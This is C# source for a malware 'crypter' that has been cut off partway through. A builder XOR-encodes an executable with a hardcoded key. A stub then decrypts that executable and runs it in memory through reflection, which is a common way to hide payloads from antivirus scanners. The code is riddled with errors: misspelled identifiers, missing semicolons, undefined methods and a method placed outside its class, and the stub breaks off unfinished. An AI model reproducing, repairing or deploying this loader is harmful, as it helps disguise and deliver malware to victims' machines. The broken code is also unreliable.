using System;

using System.Collections.Generic;

using System.Linq;

using System.Text;

using System.Threading.Tasks;

​

using System.IO;

​

namespace Crypter 

{

    class Program 

    {

        static void Main(string [] args)

        {

            if (args.Lenght < 2)

            {

                Console.WriteLine("syntax: Crypter.exe <Stub.exe> <Zeon1207> (Optional: Encrypted Stub.exe)")

            }

            String file = args [0];

            String pass = args [1];

            String outFile = "EncryptedStub.exe";

            if (args.Length == 3)

            {

                outFile = args [2];

            }

                if(!File.Exists(file))

                {

                    Environment.Exit(0);

                }

            Console.WriteLine("[*] Reading Bytes");

            byte[] plainByte = File.ReadAllBytes(file);

            Console.WriteLine("[*] Got Bytes, Encoding");

            byte[] encodedBytes = encodedBytes (plainBytes, pass);

​

            Console.Write("[*] Save to output file");

            File.WriteAllBytes(outFile, encodedBytes);

            Console.WriteLine("Done");

            Console.WriteLine("\n[*] Encryption Success")

        }

    }   

}   

private static byte [] encodeBytes(byte[] bytes, String Pass)

{

    byte[] XorBytes = Encoding.Unicode.GetBytes(pass);

    for (int i = 0; i < bytes.Length; i++)

    {

        bytes [i] ^= XorBytes[i % 16];

    }

    return bytes;

}

​

​

​

​

using System;

using System.Collections.Generic;

using System.Linq;

using System.Threading.Tasks;

using System.Windows.Forms;

​

using decrypteedBytes

using System.IO;

using System.Text;

using System.Reflection;

using System.Diagnostics;

​

namespace Stub 

{

    static class Program 

    {

        [STthread]

        static void Main()

        {

            Application.EnableVisualStyles();

            Application.SetCompatibleTextRenderingDefault(false);

            RunInternalExe("Encrypted.exe","Zeon1207");

        }

        private static void RunInternalExe(string exeName, string pass)

        {

            if (!FIle.Exists(exeName))

                return;

            byte[] resourcesBuffer = File.ReadAllBytes(exeName);

            byte[] decryptedBuffer =null;

            decryptedBuffer = decryptedBytes(resourcesBuffer, pass);

            if(Encoding.Unicode.GetString(decryptedBuffer).Contains("</assembly>"))

            {

                Assembly exeAssembly = Asssembly.Load(decryptedBuffer);

                object[] parameters = new object[1];

                exeAssembly.EnteryPoint.Invoke(null, parameters);

            }

        }   

​

​

​

​

​